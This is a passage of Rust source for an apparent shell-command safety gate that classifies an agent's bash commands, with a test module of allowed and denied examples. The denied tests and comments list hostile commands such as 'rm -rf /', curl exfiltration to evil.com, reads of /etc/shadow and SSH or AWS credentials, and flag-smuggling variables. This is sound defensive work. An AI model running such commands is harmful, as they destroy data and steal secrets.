722        _ => Verdict::Allowed(SafetyLevel::Inert),
723    }
724}
725
726fn word_sub_verdict(word: &Word) -> Verdict {
727    word.0.iter().map(part_sub_verdict).fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
728}
729
730fn words_sub_verdict(words: &[Word]) -> Verdict {
731    words.iter().map(word_sub_verdict).fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
732}
733
734#[cfg(test)]
735pub(crate) fn word_subs_safe(word: &Word) -> bool {
736    word_sub_verdict(word).is_allowed()
737}
738
739fn simple_verdict(cmd: &SimpleCmd) -> Verdict {
740    let redir_v = redirect_verdict(&cmd.redirs);
741    if let Verdict::Denied = redir_v {
742        return Verdict::Denied;
743    }
744
745    let env_sub_v = cmd
746        .env
747        .iter()
748        .map(|(_, v)| word_sub_verdict(v))
749        .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine);
750    let word_sub_v = words_sub_verdict(&cmd.words);
751
752    // A LISTED assignment is classified by its value (`envvars.toml`): `GIT_SSH_COMMAND` carries a
753    // command, `LD_PRELOAD` a path supplying code. An unlisted name is Inert, so this changes
754    // nothing for ordinary invocations — `FOO=bar ls` classifies exactly as `ls` does.
755    //
756    // COMBINED, not merely checked for denial. An assignment that resolves to a LEVEL carries that
757    // level into the command: `RUSTFLAGS='-Cincremental=./x'` authorises a worktree write, so the
758    // invocation is a write even when the command word is inert. Propagating only `Denied` here
759    // meant `RUSTFLAGS='-Cincremental=./x' echo hi` passed at `paranoid`, while the same write
760    // spelled `touch ./x` did not.
761    let env_name_v = cmd
762        .env
763        .iter()
764        .map(|(name, value)| crate::envvars::assignment_verdict(name, &value.eval()))
765        .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine);
766    let sub_v = env_sub_v.combine(word_sub_v).combine(env_name_v);
767
768    if let Verdict::Denied = sub_v {
769        return Verdict::Denied;
770    }
771
772    if cmd.words.is_empty() {
773        if cmd.env.is_empty() {
774            return Verdict::Allowed(SafetyLevel::Inert);
775        }
776        return sub_v.combine(redir_v);
777    }
778
779    let name = cmd.words[0].eval();
780
781    // Function CALL: a user function SHADOWS everything it names, INCLUDING builtins like `eval`
782    // (`eval(){ rm -rf /; }; eval "echo hi"` runs the function, not eval) — so resolve a defined name
783    // FIRST, before the eval special-case and the leaf dispatch. Classify its BODY with $1..$N bound
784    // to the call's args (certain literals; uncertain → unpinnable). The shadow is UNCONDITIONAL: if
785    // resolution is blocked (recursion / depth / budget) we FAIL CLOSED, never fall through to the
786    // real command — otherwise `…512 calls…; ls(){ rm -rf /; }; ls` would exhaust the budget and then
787    // run the real `ls` for the rebound name, a bypass.
788    if let Some(body) = lookup_function(&name) {
789        let Some(_resolving) = begin_resolving(&name) else {
790            return Verdict::Denied;
791        };
792        let _args: Vec<crate::pathctx::VarGuard> = cmd.words[1..]
793            .iter()
794            .enumerate()
795            .map(|(i, w)| crate::pathctx::enter_var((i + 1).to_string(), certain_value(w)))
796            .collect();
797        return sub_v.combine(super::netargs::with_args(cmd, || script_verdict(&body))).combine(redir_v);
798    }
799
800    if name == "eval" {
801        return eval_verdict(cmd).combine(sub_v).combine(redir_v);
802    }
803
804    // Brace-expand each word (`cat {/etc/shadow,x}` → two operands) so every alternative bash
805    // would run is classified — a braced word must not hide a system path from the gate.
806    let tokens: Vec<Token> = cmd.words.iter().flat_map(|w| w.expand().into_iter().map(Token::from_raw)).collect();
807    if tokens.is_empty() {
808        return Verdict::Allowed(SafetyLevel::Inert);
809    }
810    if smuggles_a_flag(cmd) {
811        return Verdict::Denied;
812    }
813
814    let cmd_v = super::netargs::with_args(cmd, || leaf_verdict(&tokens));
815    sub_v.combine(cmd_v).combine(redir_v)
816}
817
818/// Whether an operand hides a FLAG behind an unquoted expansion.
819///
820/// The word-splitting problem again, on the dimension the locus gate cannot see. One CST word
821/// becomes several arguments at run time, and when a piece starts with `-` the command's flag
822/// allowlist was simply never shown it:
823///
824/// ```text
825/// VAR="--exec rm"; fd pat $VAR        ran `rm` on every match
826/// VAR="-exec rm {} ;"; find . $VAR    deleted the tree
827/// ```
828///
829/// Splitting for LOCUS (see `locus::classify_local`) does not help here, because the danger is not
830/// where a path points — it is a capability the grammar would have refused outright.
831///
832/// This refuses rather than re-tokenizing. Re-tokenizing would be more precise, and the machinery
833/// is close at hand (`Word::expand` already turns one word into many for brace expansion) — but a
834/// bound value carries SEPARATE read and write representatives for loop variables, so feeding it
835/// back into tokenization would have to pick a face before the face is known. Refusing costs a
836/// prompt on `VAR="-rf ./sub"; rm $VAR`, which is a rare way to write a command; see TODO.md.
837///
838/// Only UNQUOTED expansions split, so `cat "$VAR"` with a spacey filename is untouched — a quoted
839/// expansion is one word to the shell too.
840fn smuggles_a_flag(cmd: &SimpleCmd) -> bool {
841    cmd.words.iter().skip(1).any(|w| {
842        // A top-level `Lit` is the unquoted case; a `DQuote` part is not split by the shell.
843        w.0.iter().any(|part| {
844            let WordPart::Lit(raw) = part else { return false };
845            if !raw.contains('$') {
846                return false;
847            }
848            let expanded = crate::pathctx::expand_vars(raw, false);
849            expanded.split([' ', '\t', '\n']).skip(1).any(|piece| piece.starts_with('-'))
850                || (expanded.split([' ', '\t', '\n']).count() > 1 && expanded.starts_with('-'))
851        })
852    })
853}
854
855/// The command leaf's verdict. The behavioral-capability engine is authoritative for every
856/// command it can resolve; the legacy classifier handles the rest (`…-engine` §4). There is
857/// no opt-out — the engine is the default and only path.
858fn leaf_verdict(tokens: &[Token]) -> Verdict {
859    let legacy = handlers::dispatch(tokens);
860    super::netargs::with_egress(tokens, crate::engine::bridge::engine_verdict(tokens).unwrap_or(legacy))
861}
862
863fn eval_verdict(cmd: &SimpleCmd) -> Verdict {
864    if cmd.words.len() < 2 {
865        return Verdict::Denied;
866    }
867    for arg in &cmd.words[1..] {
868        if !arg_is_eval_safe(arg) {
869            return Verdict::Denied;
870        }
871    }
872    Verdict::Allowed(SafetyLevel::Inert)
873}
874
875fn arg_is_eval_safe(word: &Word) -> bool {
876    let mut found_safe = false;
877    for part in &word.0 {
878        match part {
879            WordPart::Lit(s) | WordPart::SQuote(s) => {
880                if !s.chars().all(char::is_whitespace) {
881                    return false;
882                }
883            }
884            WordPart::Escape(c) => {
885                if !c.is_whitespace() {
886                    return false;
887                }
888            }
889            WordPart::CmdSub(script) => {
890                if !script_yields_eval_safe(script) {
891                    return false;
892                }
893                found_safe = true;
894            }
895            WordPart::Backtick(raw) => {
896                let Some(script) = parse(raw) else {
897                    return false;
898                };
899                if !script_yields_eval_safe(&script) {
900                    return false;
901                }
902                found_safe = true;
903            }
904            WordPart::DQuote(inner) => {
905                if !arg_is_eval_safe(inner) {
906                    return false;
907                }
908                if has_substitution(inner) {
909                    found_safe = true;
910                }
911            }
912            WordPart::ProcSub(_) | WordPart::Arith(_) => return false,
913        }
914    }
915    found_safe
916}
917
918fn script_yields_eval_safe(script: &Script) -> bool {
919    if script.0.len() != 1 {
920        return false;
921    }
922    let stmt = &script.0[0];
923    if !matches!(stmt.op, None | Some(ListOp::Semi)) {
924        return false;
925    }
926    let pipeline = &stmt.pipeline;
927    if pipeline.bang || pipeline.commands.len() != 1 {
928        return false;
929    }
930    let Cmd::Simple(s) = &pipeline.commands[0] else {
931        return false;
932    };
933    if !s.env.is_empty() {
934        return false;
935    }
936    // A redirect inside the substitution is allowed only if it's inert:
937    // stderr suppression (`2>/dev/null`), an fd dup (`2>&1`), or `/dev/null`.
938    // A redirect that writes a real file is SafeWrite, not inert, so
939    // `mise activate bash > evil` is rejected — eval-safe must not gain a
940    // file-write side effect, and diverting stdout to a file is pointless here.
941    if redirect_verdict(&s.redirs) != Verdict::Allowed(SafetyLevel::Inert) {
942        return false;
943    }
944    for w in &s.words {
945        if !word_is_plain_literal(w) {
946            return false;
947        }
948    }
949    let tokens: Vec<Token> = s.words.iter().flat_map(|w| w.expand().into_iter().map(Token::from_raw)).collect();
950    if tokens.is_empty() {
951        return false;
952    }
953    crate::registry::is_eval_safe_invocation(&tokens)
954}
955
956/// True iff every character of `word` is drawn from the bare-literal
957/// alphabet: ASCII alphanumerics plus `_`, `-`, `.`, `/`, `=`. Words
958/// matching this shape consist entirely of identifier-style or
959/// path-style tokens that the shell will pass through to the
960/// substituted command unchanged at runtime.
961///
962/// Required for words inside eval-safe substitutions because the
963/// "stdout is shell-init code" trust depends on the contributor having
964/// vetted what gets passed to the tool. Restricting the alphabet to
965/// chars with no shell-expansion semantics keeps the substituted
966/// invocation static across parse-time and runtime — what you see in
967/// the source is what the tool receives.
968fn word_is_plain_literal(word: &Word) -> bool {
969    word.0.iter().all(part_is_plain_literal)
970}
971
972fn part_is_plain_literal(part: &WordPart) -> bool {
973    match part {
974        WordPart::Lit(s) | WordPart::SQuote(s) => s.chars().all(is_bare_literal_char),
975        WordPart::Escape(c) => is_bare_literal_char(*c),
976        WordPart::DQuote(inner) => word_is_plain_literal(inner),
977        WordPart::CmdSub(_) | WordPart::ProcSub(_) | WordPart::Backtick(_) | WordPart::Arith(_) => false,
978    }
979}
980
981/// Bare-literal alphabet: ASCII alphanumerics plus a tight punctuation
982/// set covering identifiers (`_`, `-`), versions / paths (`.`, `/`),
983/// and the long-flag value form (`=`). New chars require an explicit
984/// eval-safe use case — add by extending this match, never by
985/// excluding individual hostile chars.
986fn is_bare_literal_char(c: char) -> bool {
987    c.is_ascii_alphanumeric() || matches!(c, '_' | '-' | '.' | '/' | '=')
988}
989
990/// Whether a command's redirects are acceptable on the USER-ALLOWLIST path — the one taken when the
991/// user's own `Bash(...)` rule names a command safe-chains does not otherwise know.
992///
993/// Delegates to [`redirect_verdict`], the same location model every other redirect goes through.
994/// It used to carry its own rule — a write was accepted only to `/dev/null`, a read always — and
995/// that second copy was wrong in BOTH directions:
996///
997/// - Too strict on writes. A granted runner script could not redirect anywhere, not even into the
998///   session scratchpad: `~/runner-scripts/x.sh > $SCRATCH/out.txt` fell through to a prompt while
999///   the byte-identical `cat f > $SCRATCH/out.txt` auto-approved through the engine path.
1000/// - Too lax on reads. `Redir::Read` was unconditionally true, so `~/runner-scripts/x.sh <
1001///   /etc/shadow` fed a credential to a granted command without ever consulting the read locus.
1002///
1003/// One model, one answer. A grant covers the command; the redirect is still gated by where it
1004/// lands, so `> ~/.ssh/authorized_keys` stays denied whatever rule named the command.
1005pub(crate) fn check_redirects(redirs: &[Redir]) -> bool {
1006    redirect_verdict(redirs).is_allowed()
1007}
1008
1009/// Whether a redirect *write* target is one we can auto-approve. Delegates to the SAME location
1010/// model + user grants the engine's file writers (`cp`/`mv`/`tee`/…) use, so a `> ~/file` honors
1011/// a home grant exactly like `cp ./a ~/file`; `/tmp` and `/dev/stdout` stay writable; and
1012/// `.git`/`.envrc`, home, absolute system paths, `..` escapes, and `$`-unpinnable targets stay
1013/// frozen (a redirect there can plant a git hook, an SSH key, or a direnv script that runs
1014/// later). Relative targets resolve against the harness cwd/root inside `write_target_verdict`.
1015fn is_safe_write_target(path: &str) -> bool {
1016    crate::engine::resolve::write_target_verdict(path).is_allowed()
1017}
1018
1019/// The verdict for a redirect that OPENS `target` for writing.
1020fn write_face(target: &Word) -> Verdict {
1021    let t = target.eval();
1022    if t == "/dev/null" {
1023        // Inert: no side effect, no promotion.
1024        Verdict::Allowed(SafetyLevel::Inert)
1025    } else if is_safe_write_target(&t) {
1026        Verdict::Allowed(SafetyLevel::SafeWrite)
1027    } else {
1028        Verdict::Denied
1029    }
1030}
1031
1032/// The verdict for a redirect that OPENS `target` for reading. Gates the SOURCE by its read locus,
1033/// like an operand read: `cat < /etc/shadow` must deny just as `cat /etc/shadow` does. A
1034/// substitution-derived source names an unknowable file → fail-closed to Denied.
1035fn read_face(target: &Word) -> Verdict {
1036    let t = target.eval();
1037    // Keyed on the EVALUATED value rather than on "is there a substitution part", so a
1038    // substitution whose inner command declared its output locus (`< $(pwd)/f`) is gated by that
1039    // locus, while an undeclared one still fail-closes on its opaque marker.
1040    if is_opaque_value(&t) { Verdict::Denied } else { crate::engine::resolve::read_content_verdict(&t) }
1041}
1042
1043pub(crate) fn redirect_verdict(redirs: &[Redir]) -> Verdict {
1044    let mut level = Verdict::Allowed(SafetyLevel::Inert);
1045    for r in redirs {
1046        match r {
1047            Redir::Write { target, .. } => {
1048                level = level.combine(word_sub_verdict(target));
1049                level = level.combine(write_face(target));
1050            }
1051            Redir::Read { target, .. } => {
1052                level = level.combine(word_sub_verdict(target));
1053                level = level.combine(read_face(target));
1054            }
1055            // `<>` opens the target BOTH ways, so it takes both gates. Taking only one would let
1056            // the other face through: the write gate alone misses reading a secret, and the read
1057            // gate alone misses overwriting a file that is merely readable.
1058            Redir::ReadWrite { target, .. } => {
1059                level = level.combine(word_sub_verdict(target));
1060                level = level.combine(write_face(target));
1061                level = level.combine(read_face(target));
1062            }
1063            Redir::HereStr(word) => {
1064                level = level.combine(word_sub_verdict(word));
1065            }
1066            // A heredoc body is inert ONLY behind a quoted delimiter. With a bare `<<EOF` the shell
1067            // expands the body, so a substitution in it runs and is classified exactly like one in
1068            // any other word. `body` is empty for the quoted spellings, so this is a no-op there.
1069            Redir::HereDoc { body, .. } => {
1070                level = level.combine(word_sub_verdict(body));
1071            }
1072            Redir::DupFd { .. } => {}
1073        }
1074    }
1075    level
1076}
1077
1078fn has_substitution(word: &Word) -> bool {
1079    word.0.iter().any(|p| match p {
1080        WordPart::CmdSub(_) | WordPart::ProcSub(_) | WordPart::Backtick(_) | WordPart::Arith(_) => true,
1081        WordPart::DQuote(inner) => has_substitution(inner),
1082        _ => false,
1083    })
1084}
1085
1086#[cfg(test)]
1087mod tests {
1088    use super::*;
1089
1090    fn check(cmd: &str) -> bool {
1091        is_safe_command(cmd)
1092    }
1093
1094    #[test]
1095    fn loop_variable_inherits_the_list_locus() {
1096        // A worktree `in`-list → the body reads/writes the worktree → allowed. The bare `$f`
1097        // used to fail-closed to machine; now it binds to the list, like find's `{}`→path.
1098        for cmd in [
1099            "for f in *.txt; do cat $f; done",
1100            "for f in *.txt; do rm $f; done",
1101            "for f in src/*.rs; do grep foo $f; done",
1102            "for f in *.log; do sed -i s/a/b/ $f; done",
1103            "for f in a b c; do cat $f.bak; done",
1104            "for x in 1 2 3; do rm $x; done",
1105            "for d in a b; do for f in $d/x; do cat $f; done; done", // nested loops compose
1106        ] {
1107            assert!(check(cmd), "worktree loop should allow: {cmd}");
1108        }
1109        // A system / credential / unpinnable `in`-list → deny (the body could touch it).
1110        for cmd in [
1111            "for f in /etc/*; do cat $f; done",
1112            "for f in /etc/*.conf; do rm $f; done",
1113            "for f in ~/.ssh/*; do cat $f; done",
1114            "for f in $LIST; do rm $f; done",
1115            "for f in $(find / -name x); do rm -rf $f; done",
1116            // nested: the inner list inherits the outer binding, so the body reads ~/.ssh/id_rsa
1117            "for d in ~/.ssh; do for f in $d/id_rsa; do cat $f; done; done",
1118            // read-worst ≠ write-worst: reading must worst-case the credential store even though
1119            // the write-worst item is /etc/hosts — a single representative would be unsound.
1120            "for f in /etc/hosts ~/.aws/credentials; do cat $f; done",
1121        ] {
1122            assert!(!check(cmd), "non-worktree loop should deny: {cmd}");
1123        }
1124    }
1125
1126    safe! {
1127        grep_foo: "grep foo file.txt",
1128        jq_key: "jq '.key' file.json",
1129        base64_d: "base64 -d",
1130        ls_la: "ls -la",
1131        wc_l: "wc -l file.txt",
1132        ps_aux: "ps aux",
1133        echo_hello: "echo hello",
1134        cat_file: "cat file.txt",
1135
1136        version_go: "go --version",
1137        version_cargo: "cargo --version",
1138        version_cargo_redirect: "cargo --version 2>&1",
1139        help_cargo: "cargo --help",
1140        help_cargo_build: "cargo build --help",
1141
1142        dev_null_echo: "echo hello > /dev/null",
1143        dev_null_stderr: "echo hello 2> /dev/null",
1144        dev_null_append: "echo hello >> /dev/null",
1145        dev_null_git_log: "git log > /dev/null 2>&1",
1146        fd_redirect_ls: "ls 2>&1",
1147        stdin_dev_null: "git log < /dev/null",
1148
1149        env_prefix: "FOO='bar baz' ls -la",
1150        env_prefix_dq: "FOO=\"bar baz\" ls -la",
1151        env_rack_rspec: "RACK_ENV=test bundle exec rspec spec/foo_spec.rb",
1152
1153        subst_echo_ls: "echo $(ls)",
1154        subst_ls_pwd: "ls `pwd`",
1155        subst_nested: "echo $(echo $(ls))",
1156        subst_quoted: "echo \"$(ls)\"",
1157        assign_subst_ls: "out=$(ls)",
1158        assign_subst_git: "out=$(git status)",
1159        assign_subst_multiple: "a=$(ls) b=$(pwd)",
1160        assign_subst_backtick: "out=`ls`",
1161
1162        assign_bare_lit: "foo=bar",
1163        assign_bare_int: "x=1",
1164        assign_bare_empty: "x=",
1165        assign_bare_dq: "x=\"foo bar\"",
1166        assign_bare_sq: "x='foo bar'",
1167        assign_bare_param: "rc=$?",
1168        assign_bare_var: "x=$y",
1169        assign_bare_dollar_var_braced: "x=${y}",
1170        assign_bare_path: "PATH=/foo",
1171        assign_bare_multiple: "a=1 b=2 c=3",
1172        assign_bare_arith: "x=$((1 + 2))",
1173        assign_in_for_body: "for i in 1 2; do x=1; done",
1174        assign_rc_in_for_body: "for i in 1 2; do echo $i; rc=$?; done",
1175        assign_rc_in_while_body: "while test -f /tmp/x; do rc=$?; sleep 1; done",
1176        assign_rc_in_if_body: "if test -f foo; then rc=$?; fi",
1177        assign_then_use: "x=1; echo $x",
1178        assign_chained_with_safe: "x=1 && ls",
1179        assign_subshell: "(x=1)",
1180        assign_in_subshell_with_cmd: "(x=1; ls)",
1181
1182        // A loop over a BOUNDED substitution. These are the positive half of the substitution
1183        // rule: the deny corpus only asserts that hot roots are refused, which a blanket refusal
1184        // would satisfy vacuously — so without these, reverting `loop_reprs` to its old
1185        // `__SAFE_CHAINS_` prefix test would silently re-deny the whole form and stay green.
1186        loop_over_bounded_sub: "for f in $(fd a app/); do cat $f; done",
1187        loop_over_bounded_sub_quoted: "for f in $(fd a app/); do cat \"$f\"; done",
1188        loop_over_bounded_sub_write: "for f in $(fd a app/); do echo hi > $f; done",
1189        loop_over_bounded_sub_pipeline: "for f in $(fd a app/ | head -3); do cat $f; done",
1190        loop_over_pwd: "for f in $(pwd); do cat $f; done",
1191
1192        case_single_arm: "case x in x) echo a;; esac",
1193        case_alternation: "case $x in a|b) ls;; *) echo n;; esac",
1194        case_paren_prefixed_pattern: "case \"$1\" in (start) ls;; (stop) pwd;; esac",
1195        case_last_arm_without_terminator: "case x in x) echo a; esac",
1196        case_empty_body: "case x in x) ;; esac",
1197        case_multiline: "case \"$1\" in\n  start)\n    ls -la\n    ;;\n  *)\n    echo usage\n    ;;\nesac",
1198        case_in_substitution: "echo $(case A in *) echo a;; esac)",
1199        case_nested_in_if: "if true; then case x in a) ls;; esac; fi",
1200        clobber_redirect: "ls >| out.txt",
1201        clobber_redirect_fd: "ls 1>| out.txt",
1202        readwrite_redirect: "ls <> f.txt",
1203        readwrite_redirect_devnull: "ls <> /dev/null",
1204
1205        subshell_echo: "(echo hello)",
1206        subshell_ls: "(ls)",
1207        subshell_chain: "(ls && echo done)",
1208        subshell_pipe: "(ls | grep foo)",
1209        subshell_nested: "((echo hello))",
1210        subshell_for: "(for x in 1 2; do echo $x; done)",
1211
1212        pipe_grep_head: "grep foo file.txt | head -5",
1213        pipe_cat_sort_uniq: "cat file | sort | uniq",
1214        chain_ls_echo: "ls && echo done",
1215        semicolon_ls_echo: "ls; echo done",
1216        bg_ls_echo: "ls & echo done",
1217        newline_echo_echo: "echo foo\necho bar",
1218
1219        stdin_read_from_path: "wc -l < /tmp/foo.log",
1220        stdin_read_in_subst: "while [ $(wc -l < /tmp/x) -lt 10 ]; do sleep 5; done",
1221        stdin_read_in_for_body: "for i in 1 2; do cat < /tmp/x; done",
1222
1223        here_string_grep: "grep -c , <<< 'hello,world,test'",
1224        heredoc_cat: "cat <<EOF\nhello world\nEOF",
1225        heredoc_quoted: "cat <<'EOF'\nhello\nEOF",
1226        heredoc_strip_tabs: "cat <<-EOF\n\thello\nEOF",
1227        heredoc_no_content: "cat <<EOF",
1228        heredoc_pipe: "cat <<EOF | grep hello\nhello\nEOF",
1229
1230        for_echo: "for x in 1 2 3; do echo $x; done",
1231        for_empty_body: "for x in 1 2 3; do; done",
1232        for_nested: "for x in 1 2; do for y in a b; do echo $x $y; done; done",
1233        for_safe_subst: "for x in $(seq 1 5); do echo $x; done",
1234        while_test: "while test -f /tmp/foo; do sleep 1; done",
1235        while_negation: "while ! test -f /tmp/done; do sleep 1; done",
1236        until_test: "until test -f /tmp/ready; do sleep 1; done",
1237        if_then_fi: "if test -f foo; then echo exists; fi",
1238        if_then_else_fi: "if test -f foo; then echo yes; else echo no; fi",
1239        if_elif: "if test -f a; then echo a; elif test -f b; then echo b; else echo c; fi",
1240        nested_if_in_for: "for x in 1 2; do if test $x = 1; then echo one; fi; done",
1241        bare_negation: "! echo hello",
1242        keyword_as_data: "echo for; echo done; echo if; echo fi",
1243
1244        quoted_redirect: "echo 'greater > than' test",
1245        quoted_subst: "echo '$(safe)' arg",
1246
1247        redirect_to_file: "echo hello > file.txt",
1248        redirect_append: "cat file >> output.txt",
1249        redirect_stderr_file: "ls 2> errors.txt",
1250        redirect_bidirectional_write: "cat < /tmp/x > /tmp/y",
1251        env_rails_redirect: "RAILS_ENV=test echo foo > bar",
1252        jj_diff_redirect_chain: "jj diff -r 'master..@' --context 5 > /tmp/review_diff.txt && wc -l /tmp/review_diff.txt",
1253
1254        arith_basic: "echo $((1 + 2))",
1255        arith_with_var: "prev=$((ln - 1))",
1256        arith_nested_parens: "echo $(( (1 + 2) * 3 ))",
1257        arith_in_dquote: "echo \"line $((ln - 1))\"",
1258        arith_in_for_loop: "for i in 1 2; do echo $((i * 10)); done",
1259
1260        dbracket_eq: "[[ \"a\" == \"a\" ]]",
1261        dbracket_neq: "[[ \"a\" != \"b\" ]]",
1262        dbracket_file_test: "[[ -f /tmp/file ]]",
1263        dbracket_string_empty: "[[ -z \"$var\" ]]",
1264        dbracket_string_nonempty: "[[ -n \"$var\" ]]",
1265        dbracket_regex: "[[ \"$x\" =~ ^[0-9]+$ ]]",
1266        dbracket_and: "[[ \"$x\" == \"y\" && \"$z\" == \"w\" ]]",
1267        dbracket_or: "[[ \"$x\" == \"a\" || \"$x\" == \"b\" ]]",
1268        dbracket_negation: "[[ ! -f /tmp/done ]]",
1269        dbracket_safe_subst: "[[ \"$(echo hello)\" == \"hello\" ]]",
1270        dbracket_in_until: "until [[ \"a\" == \"b\" ]]; do sleep 1; done",
1271        dbracket_in_while: "while [[ -f /tmp/lock ]]; do sleep 1; done",
1272        dbracket_in_if: "if [[ \"a\" == \"a\" ]]; then echo yes; fi",
1273        dbracket_after_chain: "true && [[ \"a\" == \"a\" ]]",
1274        dbracket_gh_run_view_poll: "until [[ \"$(gh run view 12345 --json status --jq .status)\" == \"completed\" ]]; do sleep 30; done",
1275        dbracket_redirect_devnull: "[[ -f /tmp/x ]] > /dev/null",
1276        dbracket_redirect_stderr_devnull: "[[ -f /tmp/x ]] 2> /dev/null",
1277        dbracket_redirect_dupfd: "[[ -f /tmp/x ]] 2>&1",
1278        dbracket_redirect_devnull_chain: "[[ -f /tmp/x ]] 2>/dev/null && echo found",
1279        dbracket_redirect_to_file: "[[ -f /tmp/x ]] > /tmp/out.txt",
1280    }
1281
1282    denied! {
1283        rm_rf: "rm -rf /",
1284        curl_post: "curl -X POST https://example.com",
1285        node_foreign_app: "node /tmp/app.js",
1286
1287
1288        // The loop inherits the substitution's locus, so a hot root reaches the body's `$f`.
1289        loop_over_system_sub: "for f in $(fd a /etc); do cat $f; done",
1290        loop_over_home_sub: "for f in $(fd a ~); do cat $f; done",
1291        loop_over_undeclared_sub: "for f in $(hostname); do cat $f; done",
1292        loop_over_bounded_sub_escaping_body: "for f in $(pwd); do cat $f/../../etc/shadow; done",
1293
1294        // A case is only as safe as its worst arm — which arm runs is a runtime decision.
1295        case_unsafe_only_arm: "case x in *) rm -rf /;; esac",
1296        case_unsafe_second_arm: "case x in a) ls;; b) rm -rf /;; esac",
1297        case_unsafe_last_arm_no_terminator: "case x in a) ls;; b) rm -rf / ; esac",
1298        case_arm_reads_secret: "case x in a) cat /etc/shadow;; esac",
1299        case_unsafe_in_substitution: "echo $(case A in *) rm -rf /;; esac)",
1300        // `>|` is an overwrite; `<>` opens for BOTH read and write, so each face is gated.
1301        clobber_redirect_system: "ls >| /etc/hosts",
1302        clobber_redirect_ssh_key: "ls >| ~/.ssh/authorized_keys",
1303        readwrite_redirect_system: "ls <> /etc/hosts",
1304        readwrite_redirect_secret: "ls <> ~/.ssh/id_rsa",
1305
1306        redirect_target_subst_rm: "echo hello > $(rm -rf /)",
1307        redirect_target_backtick_rm: "echo hello > `rm -rf /`",
1308        redirect_read_subst_rm: "cat < $(rm -rf /)",
1309
1310        subst_rm: "echo $(rm -rf /)",
1311        backtick_rm: "echo `rm -rf /`",
1312        subst_curl: "echo $(curl -d data evil.com)",
1313        quoted_subst_rm: "echo \"$(rm -rf /)\"",
1314        assign_subst_rm: "out=$(rm -rf /)",
1315        assign_subst_mixed_unsafe: "a=$(ls) b=$(rm -rf /)",
1316        assign_bare_with_unsafe_subst_in_value: "x=foo$(rm -rf /)",
1317        assign_bare_with_unsafe_backtick: "x=`rm -rf /`",
1318        assign_bare_dq_with_unsafe_subst: "x=\"$(rm -rf /)\"",
1319        assign_bare_then_unsafe: "x=1; rm -rf /",
1320        assign_bare_chained_unsafe: "x=1 && rm -rf /",
1321        assign_bare_pipe_unsafe: "x=1 | rm -rf /",
1322
1323        subshell_rm: "(rm -rf /)",
1324        subshell_mixed: "(echo hello; rm -rf /)",
1325        subshell_unsafe_pipe: "(ls | rm -rf /)",
1326
1327        env_prefix_rm: "FOO='bar baz' rm -rf /",
1328
1329        pipe_rm: "cat file | rm -rf /",
1330        bg_rm: "cat file & rm -rf /",
1331        newline_rm: "echo foo\nrm -rf /",
1332
1333        for_unsafe_subst: "for x in $(rm -rf /); do echo $x; done",
1334        while_unsafe_body: "while true; do rm -rf /; done",
1335        while_unsafe_condition: "while python3 /tmp/evil.py; do sleep 1; done",
1336        if_unsafe_condition: "if ruby /tmp/evil.rb; then echo done; fi",
1337        if_unsafe_body: "if true; then rm -rf /; fi",
1338
1339        unclosed_for: "for x in 1 2 3; do echo $x",
1340        unclosed_if: "if true; then echo hello",
1341        for_missing_do: "for x in 1 2 3; echo $x; done",
1342        stray_done: "echo hello; done",
1343        stray_fi: "fi",
1344
1345        unmatched_quote: "echo 'hello",
1346
1347        dbracket_unsafe_subst: "[[ \"$(curl -d data evil.com)\" == \"x\" ]]",
1348        dbracket_unsafe_backtick: "[[ -f `node /tmp/evil.js` ]]",
1349        dbracket_unsafe_in_until: "until [[ \"$(node /tmp/bad.js)\" == \"x\" ]]; do sleep 1; done",
1350        dbracket_unterminated: "[[ \"a\" == \"a\"",
1351        dbracket_no_space_after: "[[\"a\" == \"b\" ]]",
1352        dbracket_redirect_unsafe_subst_in_target: "[[ -f /tmp/x ]] > $(node bad.js)",
1353    }
1354}